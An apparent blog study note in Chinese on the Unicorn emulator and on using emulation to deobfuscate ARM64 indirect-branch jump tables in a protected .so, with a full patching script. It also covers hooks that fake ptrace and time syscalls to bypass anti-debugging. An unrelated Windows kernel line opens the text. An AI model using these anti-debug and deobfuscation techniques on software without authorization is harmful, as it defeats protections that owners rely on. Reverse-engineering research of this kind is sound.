为什么需要 ensure_pfn_entry_state_for_scsi_bounce：通过 scsi_sfer_n_4k_pages 的调用场景中，src 是 hypervisor 保护页面由 MmMapIoSpace 映射的结果，这种页面存储栈可能不接受，需要修改 _MMPFN 的 u4 字段（具体来说，修改 PageIdentity 这一位）。但当前版本测试下来不修改它也能正常运行

Unicorn

2026-03-19T00:29:24.000Z

@source: https://bbs.kanxue.com/thread-280231-1.htm

Unicorn

基于 qemu，支持多架构 CPU

   Python/C 脚本
        ↓
    Unicorn API
        ↓
    QEMU TCG (Tiny Code Generator)  ← 核心翻译引擎
        ↓
    翻译为宿主机原生指令执行

核心流程

  # unicorn_skeleton.py
  import unicorn
  from unicorn.arm64_const import *

  # Step 1: 创建引擎 —— 指定架构和模式
  uc = unicorn.Uc(unicorn.UC_ARCH_ARM64, unicorn.UC_MODE_ARM)

  # Step 2: 映射内存 —— 划定沙箱边界
  uc.mem_map(0x1000, 0x4000)   # 从 0x1000 开始，映射 16KB

  # Step 3: 写入数据 —— 放入代码和初始状态
  uc.mem_write(0x1000, b"\x00" * 0x100)
  uc.reg_write(UC_ARM64_REG_SP, 0x4000)

  # Step 4: 挂钩子 —— 安装观察窗口（可选）
  def on_insn(uc, address, size, user_data):
      print(f"PC=0x{address:x}")
  uc.hook_add(unicorn.UC_HOOK_CODE, on_insn)

  # Step 5: 启动模拟 —— 指定起止地址
  uc.emu_start(begin=0x1000, until=0x1010)

内存映射需要页对齐（4KB）

hook

可以对特定事件插桩

  Unicorn 执行引擎
         │
         ├── 执行每条指令前  →  UC_HOOK_CODE
         ├── 读内存时        →  UC_HOOK_MEM_READ
         ├── 写内存时        →  UC_HOOK_MEM_WRITE
         ├── 访问未映射内存  →  UC_HOOK_MEM_UNMAPPED
         ├── 执行中断/syscall →  UC_HOOK_INSN (特定指令)
         └── 遇到无效指令    →  UC_HOOK_INSN_INVALID

# trace_example.py
import unicorn, capstone
from unicorn.arm64_const import *

CODE = bytes([
    0x20, 0x00, 0x80, 0xD2,  # MOV X0, #1
    0x41, 0x00, 0x80, 0xD2,  # MOV X1, #2
    0x02, 0x00, 0x01, 0x8B,  # ADD X2, X0, X1
])
BASE = 0x1000

uc = unicorn.Uc(unicorn.UC_ARCH_ARM64, unicorn.UC_MODE_ARM)
uc.mem_map(BASE, 0x1000)
uc.mem_write(BASE, CODE)

cs = capstone.Cs(capstone.CS_ARCH_AARCH64, capstone.CS_MODE_ARM)

def hook_code(uc, address, size, user_data):
    insn_bytes = uc.mem_read(address, size)
    for insn in cs.disasm(bytes(insn_bytes), address):
        print(f"  [0x{address:08x}]  {insn.mnemonic:<8} {insn.op_str}")

def hook_mem_invalid(uc, access_type, address, size, value, user_data):
    """
        access_type:
        - UC_MEM_READ_UNMAPPED
        - UC_MEM_WRITE_UNMAPPED
        - UC_MEM_FETCH_UNMAPPED 执行未映射地址
    """
    access_names = {
        unicorn.UC_MEM_READ_UNMAPPED:  "READ",
        unicorn.UC_MEM_WRITE_UNMAPPED: "WRITE",
        unicorn.UC_MEM_FETCH_UNMAPPED: "FETCH",
    }
    print(f"[!] {access_names[access_type]} @ 0x{address:x} (size={size})")
    
    if access_type == unicorn.UC_MEM_FETCH_UNMAPPED:
        return False

    # 读写失败重试
    page_addr = address & ~0xFFF
    uc.mem_map(page_addr, 0x1000)
    return True

uc.hook_add(unicorn.UC_HOOK_CODE, hook_code)
uc.hook_add(unicorn.UC_HOOK_MEM_UNMAPPED, hook_mem_invalid)
uc.emu_start(BASE, BASE + len(CODE))

hook 地址范围过滤

# 只监控 0x1000~0x2000 之间的代码执行
  uc.hook_add(unicorn.UC_HOOK_CODE, hook_code, begin=0x1000, end=0x2000)

  # 只监控 0x5000 的内存写入
  uc.hook_add(unicorn.UC_HOOK_MEM_WRITE, hook_write, begin=0x5000,
  end=0x5004)

TCG 执行原理

   ARM64 字节码
        │
        ▼
  ┌─────────────────────────────────┐
  │         QEMU TCG 前端            │
  │  ARM64 解码器 → TCG IR 中间表示   │
  │                                 │
  │  ADD X2, X0, X1                 │
  │    ↓ 翻译为 TCG IR              │
  │  tcg_gen_add_i64(X2, X0, X1)   │
  └─────────────────────────────────┘
        │
        ▼
  ┌─────────────────────────────────┐
  │         QEMU TCG 后端           │
  │  把 TCG IR 编译为宿主机指令      │
  │  （Mac 是 ARM64，直接接近        │
  │   原生；x86 Mac 需要翻译）       │
  └─────────────────────────────────┘
        │
        ▼
     翻译块 (Translation Block, TB)
     缓存起来，下次同样代码直接复用
        │
        ▼
      CPU 执行

翻译块 (TB)

一段连续直线执行的代码，遇到跳转就结束

    0x1000: MOV X0, #1    ┐
    0x1004: MOV X1, #2    ├── TB1（直线，无跳转）
    0x1008: ADD X2, X0, X1┘
    0x100C: CBZ X2, 0x2000    ← 条件跳转，TB1 结束

    0x1010: MOV X3, #9    ┐
    0x1014: RET           ┘── TB2

    0x2000: MOV X3, #0    ┐
    0x2004: RET           ┘── TB3

Unicorn 在翻译每个 TB 时为每条指令注入了回调点（UC_HOOK_CODE），因此 hook 的性能开销在复杂循环中很显著，善用地址范围过滤精准插桩
第一次执行需要翻译，比后续慢，之后命中 TB Cache 直接执行
修改内存后要调用 emu_stop() 再重启：旧的 TB 可能已经缓存，强制清除缓存后重新翻译

反调试对抗

反调试手段	检测方式	Unicorn 对策
`ptrace` self	`syscall` 返回值	hook syscall 伪造返回值
时间检测	两次 `gettimeofday` 比较	hook syscall，返回固定值
smc	运行时解密	`UC_HOOK_MEM_WRITE` 捕获解密时机

# syscall_smc_hook.py
import unicorn
from unicorn.x86_const import *

FAKE_TIME = 1700000000 # 伪造时间戳
# SMC
CODE_START = 0x1000
CODE_END = 0x5000
decrypted_regions = []

uc = unicorn.Uc(unicorn.UC_ARCH_X86, unicorn.UC_MODE_64)

def hook_syscall(uc, user_data):
    rax = uc.reg_read(UC_X86_REG_RAX)

    if rax == 96: # gettimeofday (Linux x86_64)
        timeval_ptr = uc.reg_read(UC_X86_REG_RDI)

        import struct
        uc.mem_write(timeval_ptr, struct.pack("<QQ", FAKE_TIME, 0))
        uc.reg_write(UC_X86_REG_RAX, 0) # 返回 0 = 成功

    elif rax == 101: # ptrace
        uc.reg_write(UC_X86_REG_RAX, 0xFFFFFFFFFFFFFFFF) # 返回 -1

    elif rax == 60: # exit
        uc.emu_stop()

def hook_code_write(uc, access, address, size, value, user_data):
    if CODE_START <= address < CODE_END:
        data = bytes(uc.mem_read(address, size))
        print(f"[SMC] 代码段 0x{address:x} 被写入: {data.hex()}")
        decrypted_regions.append((address, size))



uc.hook_add(unicorn.UC_HOOK_INSN, hook_syscall, unicorn.x86_const.UC_X86_INS_SYSCALL)
uc.hook_add(unicorn.UC_HOOK_MEM_WRITE, hook_code_write, begin=CODE_START, end=CODE_END)

小练习

import unicorn
from unicorn.arm64_const import *
from keystone import *

code = """
loop:
    LDRB W3, [X0, X1]     
    EOR  W3, W3, W2       
    STRB W3, [X0, X1]     
    ADD  X1, X1, #1       
    CMP  X1, #8
    B.LT loop             
    """
try:
    ks = Ks(KS_ARCH_ARM64, keystone.KS_MODE_LITTLE_ENDIAN)
    encoding, count = ks.asm(code)
    CODE = bytes(list(encoding))
except keystone.KsError as e:
    print(f"ERROR: {e}")
    CODE = bytes([
        0x03, 0x68, 0x61, 0x38, 0x63, 0x00, 0x02, 0x4a, 0x03, 0x68, 0x21, 0x38, 0x21, 0x04, 0x00, 0x91, 0x3f, 0x20, 0x00, 0xf1, 0x6b, 0xff, 0xff, 0x54
    ])

CODE_BASE = 0
BUF_BASE = 0x1000
STACK = 0x4000
buf_data = b"HELLO!!!"

uc = unicorn.Uc(unicorn.UC_ARCH_ARM64, unicorn.UC_MODE_ARM)
uc.mem_map(CODE_BASE, 0x1000)
uc.mem_map(BUF_BASE, 0x1000)
uc.mem_map(STACK, 0x1000)

uc.mem_write(CODE_BASE, CODE)
uc.mem_write(BUF_BASE, buf_data)

uc.reg_write(UC_ARM64_REG_X0, BUF_BASE)
uc.reg_write(UC_ARM64_REG_X1, 0x00)
uc.reg_write(UC_ARM64_REG_X2, 0x55)

def hook_code(uc, access, address, size, value, user_data):
    if BUF_BASE <= address < BUF_BASE + 8:
        idx = address - BUF_BASE
    print(f"    buf[{idx}] = 0x{value & 0xFF:02x} ({chr(value & 0xFF) if 32 <= (value & 0xFF) < 127 else '.'})")

uc.hook_add(unicorn.UC_HOOK_MEM_WRITE, hook_code)
uc.emu_start(CODE_BASE, CODE_BASE + len(CODE))

result = bytes(uc.mem_read(BUF_BASE, 8))
print(f"\nresult: {result.hex()} = {result}")

了解一下 ADRP (Form PC-Raelative Address to Page)：

X25 = (\text{PC} \& \sim \text{0xFFF}) + (\text{immediate} \ll 12)

此处 #off_212C70@PAGE (immediate) 即目标数据与当前指令页边界的页偏移

将当前指令所在地址（PC）的低 12 位清零，即对齐到 4KB 页边界
把指令中给出的立即数左移 12 位，结果相加放入目标寄存器

google 会说 ADRP 常与 ADD/LDR 搭配使用

利用页表的特性来设计位位置无关代码：ADRP 跨大步找到目标数据所在的 4KB 页面，再用 ADD/LDR 跨小步，加上页内偏移定位到字节

闲得没事算一下，ai 一直算不对

机器码 79 08 00 F0，大端 F0 00 08 79 = 11110000000000000000100001111001

ADRP 标准编码格式：

位范围	31	30:29	28:24	23:5	4:0
含义	op	immlo	Fixed	immhi	Rd
ADRP 特征值	1	(立即数低位)	10000	(立即数高位)	(目标寄存器)

immlo = 11 = 3

immhi = 0000000000001000011 = 67

pc = 0x1031a0

>>> immlo = 3
>>> immhi = 67
>>> imm = (immhi << 2) | immlo
>>> imm
271
>>> hex((pc & ~0xFFF) + (imm << 12))
'0x212000'

IDA 中的符号 #off_212C70@PAGE 表示 212C70 的高位，即页边界，#off_212C70@PAGEOFF 表示低位，即页内偏移，原来 IDA 里面的 ADRP X25, #off_212C70@PAGE 直接当成赋值语句就好了

混淆模式

有如下的混淆

CMP             X19, #0
MOV             W9, #0x40 ; '@'         ; X9 = 0x40
MOV             W10, #0x38 ; '8'        ; X10 = 0x38
ADRP            X25, #off_212C70@PAGE
CSEL            X9, X10, X9, EQ         ; if X19 == 0 then X9 = X10
ADD             X25, X25, #off_212C70@PAGEOFF ; X25 = 0x212C70
LDR             X8, [X25,X9]            ; X8 = qword[X25 + X9]
MOV             W9, #0xFE53             ; X9 = 0xFE53
MOV             W10, #0x82B4            ; X10 = 0x82B4
CSEL            X9, X10, X9, EQ         ; if X19 == 0 then X9 = X10
SUB             X8, X8, X9              ; X8 = X8 - X9
BR              X8                      ; 跳转到X8

0x212C70 是一个函数表，在代码里面就是 X25。X9 是函数表内的偏移，根据 X19 的值决定偏移的值，共两种情况

但是为什么偏移算完之后那么大，完全不在表里面了，有点反直觉

这样的函数反编译之后大概长这样，修复后是一个巨大的函数

void __fastcall sub_103168(__int64 a1, __int64 a2)
{
  __int64 v2; // x9
  __int64 v3; // x8
  __int64 v4; // x9

  _ReadStatusReg(TPIDR_EL0);
  v2 = 64;
  if ( !a2 )
    v2 = 56;
  v3 = *(__int64 *)((char *)&off_212C70 + v2);
  v4 = 65107;
  if ( !a2 )
    v4 = 33460;
  __asm { BR              X8 }
}

下面还有大量这样类似模式的连续的间接跳转。因为 X25 复用所以有点不一样

__int64 sub_103258()
{
  __int64 v0; // x25
  __int64 v1; // x26
  __int64 v2; // x29
  __int64 v3; // x0
  __int64 v4; // x8
  __int64 v5; // x8
  __int64 v6; // x9

  v3 = sub_1500BC(v2 - 96);
  if ( (v1 | 0x2B355CD000000000uLL) >= 0x3CCCE95800000000LL )
    v4 = 48;
  else
    v4 = 0;
  v5 = *(_QWORD *)(v0 + v4);
  v6 = 49525;
  if ( (v1 | 0x2B355CD000000000uLL) < 0x3CCCE95800000000LL )
    v6 = 216;
  return ((__int64 (__fastcall *)(__int64))(v5 - v6))(v3);
}

以及存在这样的单分支跳转

.text:00000000000FEA1C 9B 08 00 F0 7B 47 3C 91                       ADRL            X27, unk_211F11
.text:00000000000FEA24 81 08 00 F0 21 B0 3E 91                       ADRL            X1, unk_211FAC
.text:00000000000FEA2C 22 01 80 52                                   MOV             W2, #9
.text:00000000000FEA30 E3 03 1F 32                                   MOV             W3, #2
.text:00000000000FEA34 E0 03 1B AA                                   MOV             X0, X27
.text:00000000000FEA38 A9 9C FC 97                                   BL              sub_25CDC
.text:00000000000FEA3C 88 82 41 F9                                   LDR             X8, [X20,#0x300]
.text:00000000000FEA40 C9 5A 99 92                                   MOV             X9, #0xFFFFFFFFFFFF3529
.text:00000000000FEA44 7F 0B 00 39                                   STRB            WZR, [X27,#(byte_211F13 - 0x211F11)]
.text:00000000000FEA48 08 01 09 8B                                   ADD             X8, X8, X9
.text:00000000000FEA4C 00 01 1F D6                                   BR              X8

基址 X25 一直复用导致匹配模式计算跳转目的的思路有点麻烦，考虑模拟执行

大致思路：从函数头开始执行，以翻译块为单位处理，hook_code 遇到 ret 就停止，contiune 进下一轮， bl/svc/非法内存访问 pc + 1。碰到 br 就进入回溯，找 csel, add, sub ，patch 后返回分支信息和 context（用于将后续翻译块 bfs 递归处理）。如果是双分支，选 nop 块作为跳板，插入两个分支的跳转，br X8 处 patch 成跳转到这个 chunk；如果是单分支直接在原地 patch。细节见脚本，把原脚本改了挺多。ins_help 是自己写的 capstone 中间层，不是很重要注意文件偏移和虚拟地址映射

import queue
import struct

import keystone
import unicorn
from capstone.arm64_const import *
from elftools.elf.elffile import ELFFile
from unicorn.arm64_const import *
from unicorn import *
from ins_help import *

# 1. 将函数头放到队列中
# 2. 从队列中取出一个地址，开始执行
# 3. 执行时，将执行过的指令和上下文保存到指令栈中
# 4. 判断是否到达了br reg
# 5. 如果到达了br reg，则从指令栈中取指令，判断计算目标地址(单分支、双分支)，patch跳转
# 6. 将目标地址放到队列中
# 7. 遇到了ret或者是bl .__stack_chk_fail 就停止

bin_data = None
out_data = None
runtime_data = None
uc = None
ins_stack = []
block_flow = {}
is_success = False
img_size = 0
jmp_table_start = 0x144320
jmp_table_end = 0x148000
start_addrs = [
    0xFD0BC,
    0x100124,
    #0x100198,
]

def reg_ctou(regname):  #
    # This function covert capstone reg name to unicorn reg const.
    regname = regname.lower()
    if regname == 'fp':
        return UC_ARM64_REG_FP
    if regname == 'lr':
        return UC_ARM64_REG_LR
    if regname == 'sp':
        return UC_ARM64_REG_SP
    if regname == 'xzr':
        return UC_ARM64_REG_XZR
    if regname == 'wzr':
        return UC_ARM64_REG_WZR

    type1 = regname[0]
    if type1.lower() == 'w' or type1.lower() == 'x':
        idx = int(regname[1:])
        if type1.lower() == 'w':
            return idx + UC_ARM64_REG_W0
        else:
            if idx == 29:
                return 1
            elif idx == 30:
                return 2
            else:
                return idx + UC_ARM64_REG_X0
    return None

def is_ref_ilegel_emm(mu, ins):
    if ins.op_str.find('[') != -1:
        if ins.op_str.find('[sp') == -1:  # 不是通过sp访问内存
            for op in ins.operands:
                if op.type == ARM64_OP_MEM:
                    addr = 0
                    if op.value.mem.base != 0:
                        addr += mu.reg_read(reg_ctou(ins.reg_name(op.value.mem.base)))
                    if op.value.mem.index != 0:
                        index_value = mu.reg_read(reg_ctou(ins.reg_name(op.value.mem.index)))
                        if op.shift.value != 0:
                            index_value <<= op.shift.value
                        addr += index_value
                    if op.value.mem.disp != 0:
                        addr += op.value.mem.disp
                    if 0x0 <= addr <= img_size: # 访问so中的数据，允许
                        return False
                    elif 0x80000000 <= addr < 0x80000000 + 0x1000 * 0x1000 * 8: #访问栈中的数据，允许
                        return False
                    else:
                        return True
        else:# 是通过sp的内存访问，允许
            return False
    else:
        return False

def set_context(uc, regs):
    if regs is None:
        return

    for i in range(29):  # x0 ~ x28
        idx = UC_ARM64_REG_X0 + i
        uc.reg_write(idx, regs[i])
    uc.reg_write(UC_ARM64_REG_FP, regs[29])  # fp
    uc.reg_write(UC_ARM64_REG_LR, regs[30])  # lr
    uc.reg_write(UC_ARM64_REG_SP, regs[31])  # sp

def get_context(uc):
    regs = []
    for i in range(29):
        idx = UC_ARM64_REG_X0 + i
        regs.append(uc.reg_read(idx))
    regs.append(uc.reg_read(UC_ARM64_REG_FP))
    regs.append(uc.reg_read(UC_ARM64_REG_LR))
    regs.append(uc.reg_read(UC_ARM64_REG_SP))
    return regs

def get_context_reg(context, reg):
    if reg in (UC_ARM64_REG_XZR, UC_ARM64_REG_WZR):
        return 0
    if UC_ARM64_REG_X0 <= reg <= UC_ARM64_REG_X28:
        return context[reg - UC_ARM64_REG_X0]
    if UC_ARM64_REG_W0 <= reg <= UC_ARM64_REG_W30:
        return context[reg - UC_ARM64_REG_W0] & 0xFFFFFFFF
    if reg == UC_ARM64_REG_FP:
        return context[29]
    if reg == UC_ARM64_REG_LR:
        return context[30]
    if reg == UC_ARM64_REG_SP:
        return context[31]
    raise KeyError('unsupported reg const: %r' % (reg,))

def format_bytes(data):
    return ' '.join(f"{b:02x}" for b in data)

def dump_ins_stack(ins_stack, limit=8):
    print('[+] recent block tail:')
    for addr, _, code, ins in ins_stack[-limit:]:
        print('    0x%x:\t%s\t%s\t%s' % (
            addr,
            format_bytes(code),
            ins.mnemonic,
            ins.op_str,
        ))

def create_unicorn():
    global uc
    uc = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
    uc.mem_map(0x80000000, 8 * 0x1000 * 0x1000)
    uc.mem_map(0, 8 * 0x1000 * 0x1000)
    uc.mem_write(0, bytes(runtime_data))
    uc.reg_write(UC_ARM64_REG_SP, 0x80000000 + 0x1000 * 0x1000 * 6)
    uc.hook_add(UC_HOOK_CODE, hook_code)
    uc.hook_add(UC_HOOK_MEM_UNMAPPED, hook_mem_access)
    return uc

def apply_patch(addr, new_bytes):
    global out_data
    global runtime_data

    new_bytes = bytes(new_bytes)
    live_bytes = bytes(uc.mem_read(addr, len(new_bytes))) if uc is not None else b''
    exec_bytes = bytes(runtime_data[addr: addr + len(new_bytes)])
    file_bytes = bytes(out_data[addr: addr + len(new_bytes)])
    orig_bytes = bytes(bin_data[addr: addr + len(new_bytes)])

    if live_bytes:
        print("live : %s" % format_bytes(live_bytes))
    print("exec : %s" % format_bytes(exec_bytes))
    print("file : %s" % format_bytes(file_bytes))
    print("orig : %s" % format_bytes(orig_bytes))

    if live_bytes and live_bytes != exec_bytes:
        print('warning! live and exec not match at %x' % (addr))
    if file_bytes != exec_bytes:
        print('warning! file and exec not match at %x' % (addr))

    runtime_data[addr: addr + len(new_bytes)] = new_bytes
    out_data[addr: addr + len(new_bytes)] = new_bytes
    print('patch code: %x\t%s => %s' % (addr, format_bytes(exec_bytes), format_bytes(new_bytes)))

def branch_reach_limit(mnemonic):
    mnemonic = mnemonic.lower()
    if mnemonic == 'b':
        # imm26 << 2
        return (-0x8000000, 0x8000000)
    if mnemonic.startswith('b') and not mnemonic.startswith('bl'):
        # imm19 << 2
        return (-0x100000, 0x100000)
    return None

def assemble_branch(src, dest, mnemonic, block_base=None):
    if dest is None:
        raise ValueError('branch target is None: block=0x%x src=0x%x ins=%s' % (
            block_base if block_base is not None else 0,
            src,
            mnemonic,
        ))
    if dest & 0x3:
        raise ValueError('branch target is not 4-byte aligned: block=0x%x src=0x%x dest=0x%x ins=%s' % (
            block_base if block_base is not None else 0,
            src,
            dest,
            mnemonic,
        ))
    if not (0 <= dest < img_size):
        raise ValueError('branch target is outside image: block=0x%x src=0x%x dest=0x%x img_size=0x%x ins=%s' % (
            block_base if block_base is not None else 0,
            src,
            dest,
            img_size,
            mnemonic,
        ))

    reach = branch_reach_limit(mnemonic)
    if reach is not None:
        delta = dest - src
        if not (reach[0] <= delta < reach[1]):
            raise ValueError('branch target out of range: block=0x%x src=0x%x dest=0x%x delta=%#x ins=%s limit=[%#x, %#x)' % (
                block_base if block_base is not None else 0,
                src,
                dest,
                delta,
                mnemonic,
                reach[0],
                reach[1],
            ))

    asm = '%s %s' % (mnemonic, hex(dest))
    ks = keystone.Ks(keystone.KS_ARCH_ARM64, keystone.KS_MODE_LITTLE_ENDIAN)
    try:
        return ks.asm(asm, src)[0]
    except keystone.KsError as exc:
        raise ValueError('keystone failed: block=0x%x src=0x%x dest=0x%x asm=`%s` error=%s' % (
            block_base if block_base is not None else 0,
            src,
            dest,
            asm,
            exc,
        )) from exc

def get_double_branch(uc, ins_stack):
    flag_br = False
    flag_sub_add = False
    flag_ldr = False
    flag_csel1 = False
    flag_csel2 = False
    br_reg = None
    op_reg1 = None
    op_reg2 = None
    reg2_value1 = None
    reg2_value2 = None
    op_reg3 = None
    reg3_value1= None
    reg3_value2 = None
    ldr_index_scale = 1
    table_base = None
    cond = ''

    for addr, context, _, ins in ins_stack[::-1]:

        # BR              X8
        if ins.mnemonic.lower() == 'br' and flag_br == False:
            flag_br = True
            br_reg = ins.operands[0].reg

        # SUB             X8, X8, X9
        if  flag_br == True and (ins.mnemonic.lower() == 'add' or ins.mnemonic.lower() == 'sub') \
                and ins.operands[0].reg == br_reg and flag_sub_add == False:
            if ins.operands[1].type == 1 and ins.operands[2].type == 1:
                op_reg1 = ins.operands[1].reg
                op_reg2 = ins.operands[2].reg
                flag_sub_add = True

        # CSEL            X9, X10, X9, EQ
        if flag_sub_add == True and ins.mnemonic.lower() == 'csel' and ins.operands[0].reg == op_reg2 \
                and flag_csel1 == False:
            cond = ins.op_str.split(', ')[-1]
            regname1 = ins.reg_name(ins.operands[1].reg)
            regname2 = ins.reg_name(ins.operands[2].reg)
            reg2_value1 = get_context_reg(context, reg_ctou(regname1))
            reg2_value2 = get_context_reg(context, reg_ctou(regname2))
            flag_csel1 = True

        #  LDR             X8, [X25,X9]
        if flag_sub_add == True and ins.mnemonic.lower() == 'ldr' and ins.operands[0].reg == op_reg1 \
                and flag_ldr == False:
            mem_op = None
            for op in ins.operands:
                if op.type == ARM64_OP_MEM:
                    mem_op = op
                    break
            assert mem_op is not None, 'not find mem operand: %x\t%s\t%s' % (addr, ins.mnemonic, ins.op_str)
            table_base = 0
            if mem_op.mem.base != 0:
                table_base += get_context_reg(context, reg_ctou(ins.reg_name(mem_op.mem.base)))
            if mem_op.mem.disp != 0:
                table_base += mem_op.mem.disp
            if mem_op.mem.index != 0:
                op_reg3 = reg_ctou(ins.reg_name(mem_op.mem.index))
            if mem_op.shift.value != 0:
                ldr_index_scale = 1 << mem_op.shift.value
            flag_ldr = True

        #  CSEL            X9, X10, X9, EQ
        if flag_ldr == True and ins.mnemonic.lower() == 'csel' and reg_ctou(ins.reg_name(ins.operands[0].reg)) == op_reg3 \
                and flag_csel2 == False:
            regname1 = ins.reg_name(ins.operands[1].reg)
            regname2 = ins.reg_name(ins.operands[2].reg)
            reg3_value1 = get_context_reg(context, reg_ctou(regname1))
            reg3_value2 = get_context_reg(context, reg_ctou(regname2))
            flag_csel2 = True

    if flag_csel1 == True and flag_csel2 == True:
        # 满足条件时走的分支
        barr1 = uc.mem_read(table_base + reg3_value1 * ldr_index_scale, 8) #直接从文件中读数据，注意内存偏移和文件偏移的转换


        base1 = struct.unpack('q',barr1)
        offset1 = base1[0] - reg2_value1

        # 不满足条件时走的分支
        barr2 = uc.mem_read(table_base + reg3_value2 * ldr_index_scale, 8)
        base2 = struct.unpack('q',barr2)
        offset2 = base2[0] - reg2_value2
        return (offset1, offset2, get_context(uc), cond)
    else:
        return None

def get_single_branch(uc, ins_stack):
    last_addr, context, _, ins = ins_stack[-1]
    if ins.mnemonic.lower() == 'br':
        return (context[reg_ctou(ins.reg_name(ins.operands[0].reg)) - arm64_const.UC_ARM64_REG_X0], get_context(uc))
    else:
        return None

def find2nop(uc):
    global jmp_table_start
    global jmp_table_end
    global out_data

    help = InsHelp()
    for addr in range(jmp_table_start, jmp_table_end, 8):
        barr = out_data[addr: addr+8]
        ins_list = list(help.disasm(barr, addr, False))
        if ins_list[0].mnemonic.lower() == 'nop' and ins_list[1].mnemonic.lower() == 'nop':
            return addr
    return None

def patch_single_branch(src, dest, block_base=None):
    jmp_bin = assemble_branch(src, dest, 'b', block_base)
    apply_patch(src, jmp_bin)
def patch_double_branch(uc, addr, branch, block_base=None):
    nop_addr = find2nop(uc)
    assert nop_addr is not None, 'no find 2 nop'

    offset1 = branch[0]
    offset2 = branch[1]
    cond = branch[3]

    # 1. 把bx reg修改成跳转到nop_addr
    jmp1_bin = assemble_branch(addr, nop_addr, 'b', block_base)

    # 2. bcond addr1
    jmp2_bin = assemble_branch(nop_addr, offset1, 'b' + cond, block_base)

    #3. b addr2
    jmp3_bin = assemble_branch(nop_addr + 4, offset2, 'b', block_base)
    apply_patch(addr, jmp1_bin)
    apply_patch(nop_addr, jmp2_bin)
    apply_patch(nop_addr + 4, jmp3_bin)
def hook_code(uc, address, size, user_data):
    global ins_stack
    global is_success

    if is_success == True:
        uc.emu_stop()
        return

    ins_help = InsHelp()
    code = uc.mem_read(address, size)
    ins = list(ins_help.disasm(code, address, False))[0]

    print("[+] tracing instruction\t0x%x:\t%s\t%s\t%s" % (
        ins.address, 
    ' '.join(f"{b:02x}" for b in ins.bytes),
        ins.mnemonic, 
        ins.op_str))


    #记录指令和上下文环境
    ins_stack.append((address, get_context(uc), bytes(code), ins))

    #遇到ret直接停止
    if ins.mnemonic.lower() == 'ret':
        #uc.reg_write(UC_ARM64_REG_PC, 0)
        print("[+] encountered ret, stop")
        ins_stack.clear()
        uc.emu_stop()
        return

    #遇到bl .__stack_chk_fail停止
    if ins.mnemonic.lower() == 'bl' and ins.operands[0].imm == 0x237C0:
        #uc.reg_write(UC_ARM64_REG_PC, 0)
        print("[+] encountered bl .__stack_chk_fail, stop")
        ins_stack.clear()
        uc.emu_stop()
        return

    #跳过bl、非栈、so本身内存访问、svc
    if ins.mnemonic.lower().startswith('bl') or is_ref_ilegel_emm(uc, ins) or ins.mnemonic.lower().startswith('svc'):
        print("[+] pass instruction 0x%x\t%s\t%s" % (ins.address, ins.mnemonic, ins.op_str))
        uc.reg_write(UC_ARM64_REG_PC, address + size)
        return

    if ins.mnemonic == "br":
        #判断是否到达间接跳转
        is_success = True
        block_base = ins_stack[0][0]
        jmp_addr = ins_stack[-1][0]
        ret = get_double_branch(uc, ins_stack)
        if ret != None:
            print('find double branch: %x => %x, %x' % (block_base, ret[0], ret[1]))
            try:
                patch_double_branch(uc, jmp_addr, ret, block_base)
            except ValueError as exc:
                print("[+] patch double branch failed for block 0x%x at br 0x%x: %s" % (
                    block_base,
                    jmp_addr,
                    exc,
                ))
                dump_ins_stack(ins_stack)
                is_success = False
            else:
                block_flow[block_base] = ret
        else:
            ret = get_single_branch(uc, ins_stack)
            if ret == None:
                print("[+] find dest failed 0x%x\t%s\t%s" % (ins.address, ins.mnemonic, ins.op_str))
                print("[+] unresolved block base: 0x%x" % (block_base))
                dump_ins_stack(ins_stack)
                is_success = False
            else:
                print('find single branch: %x => %x' % (block_base, ret[0]))
                try:
                    patch_single_branch(jmp_addr, ret[0], block_base)
                except ValueError as exc:
                    print("[+] patch single branch failed for block 0x%x at br 0x%x: %s" % (
                        block_base,
                        jmp_addr,
                        exc,
                    ))
                    dump_ins_stack(ins_stack)
                    is_success = False
                else:
                    block_flow[block_base] = ret
        ins_stack.clear()
        uc.emu_stop()
        return
def hook_mem_access(uc, type, address, size, value, userdata):
    pc = uc.reg_read(UC_ARM64_REG_PC)
    print('error! access invalid mem, pc:%x type:%d addr:%x size:%x' % (pc, type, address, size))
    uc.emu_stop()
    return False

def load_elf(filename):
    global img_size
    global out_data
    segs = []
    with open(filename, 'rb') as f:
        out_data = bytearray(f.read())
        for seg in ELFFile(f).iter_segments('PT_LOAD'):
            print('file_off:%s, va: %s, size: %s' %(hex(seg['p_offset']), hex(seg['p_vaddr']), hex(seg['p_filesz'])))
            segs.append((seg['p_offset'],seg['p_vaddr'], seg['p_filesz'], seg.data()))

    img_size = segs[-1][1] + segs[-1][2]
    byte_arr = bytearray([0] * img_size)
    for seg in segs:
        vaddr = seg[1]
        size = seg[2]
        data = seg[3]
        byte_arr[vaddr: vaddr + size] = bytearray(data)

    return byte_arr

    # with open('out.bin', 'wb') as f:
    #     f.write(bytearray(byte_arr))

def init_unicorn(file_name):
    global bin_data
    global runtime_data
    global uc

    #装载一下so到内存
    bin_data = bytes(load_elf(file_name))
    runtime_data = bytearray(bin_data)
    uc = None

def run(addr, context):
    global uc
    global ins_stack
    global is_success
    global block_flow

    #开始模拟执行，函数返回说明在hook_code中执行了emu_stop
    ins_stack.clear()
    create_unicorn()
    set_context(uc, context)
    uc.emu_start(addr, 0x10000)
    if is_success == True:
        is_success = False
        return block_flow[addr] #返回分支信息和context

def deobf():
    # 初始化unicorn
    filename = ''
    patched_filename = 'out.so'

    init_unicorn(filename)

    q = queue.Queue()
    for start_addr in start_addrs:
        q.put((start_addr, None)) # 入口函数是第一个节点，放到队列中去，队列中是(地址，上下文)
    traced = set() # 跑过的节点
    pending = set(start_addrs)
    while not q.empty(): #一直循环，直到队列为空
        addr, context = q.get()
        pending.discard(addr)
        if addr in traced:
            continue
        traced.add(addr) # 跑过了
        s = run(addr, context) #开始模拟执行，找br reg

        if s is None:
            continue

        if len(s) == 2: #单分支
            if s[0] not in traced and s[0] not in pending:
                q.put(s) #将分支节点放到队列中
                pending.add(s[0])
        else: #双分支
            if s[0] not in traced and s[0] not in pending:
                q.put((s[0], s[2]))#将分支节点放到队列中
                pending.add(s[0])
            if s[1] not in traced and s[1] not in pending:
                q.put((s[1], s[2]))#将分支节点放到队列中
                pending.add(s[1])

    #打印代码流
    for addr in block_flow:
        if len(block_flow[addr]) == 4:
            print('%s => %s, %s, %s' % (hex(addr), hex(block_flow[addr][0]), hex(block_flow[addr][1]), block_flow[addr][3]))
        else:
            print('%s => %s' % (hex(addr), hex(block_flow[addr][0])))

    #保存patch后的so
    with open(patched_filename, 'wb') as f:
        f.write(out_data)

